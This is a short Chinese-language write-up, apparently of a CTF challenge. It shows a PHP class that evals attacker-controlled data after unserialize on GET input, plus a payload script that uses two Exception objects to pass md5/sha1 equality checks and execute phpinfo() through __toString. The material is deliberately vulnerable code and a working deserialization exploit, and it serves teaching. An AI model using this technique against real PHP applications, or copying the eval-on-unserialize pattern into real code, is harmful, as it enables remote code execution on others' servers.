源码如下
<?php
class WTF {
public $var3;
function __destruct() {
var_dump(md5($this->var1));
var_dump(md5($this->var2));
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ) {
eval($this->var1);
}
}
}
unserialize($_GET[1]);
?>
这里就三个判断。分别是
$var1!=$var2
md5相同
sha1相同
直接放payload
<?php
class WTF {
public $var3;
}
$ex1 = new Exception('phpinfo();?>');$ex2 = new Exception('phpinfo();?>',2); //必须在同一行
$wtf = new WTF();
$wtf->var1 = $ex1;
$wtf->var2 = $ex2;
echo urlencode(serialize($wtf));
首先这里定义了两个Exception类。用于抛出异常。
第二个类的逗号2,是为了过第一个判断也就是$var1!=$var2
由于传入的object类型。而md5和sha1不能处理object类型。所以会爆出一个False.
至此。判断就都过去了。然后eval执行
eval(new Exception('phpinfo();?>'))
这里会把一个类当作字符串带入eval。也就是说。会触发Exception类的__toString魔术方法
手册链接:https://www.php.net/manual/zh/exception.tostring.php
这里__toString会输出我们的错误
然后eval(报错字符)
eval('Exception: phpinfo();?> in /var/www/html/test/test.php:2
Stack trace:
#0 {main}')
这就是为啥payload嘚加上?>或者其他闭合标签的东西了。如果不闭合。eval解析不了后面的东西。就不能正常执行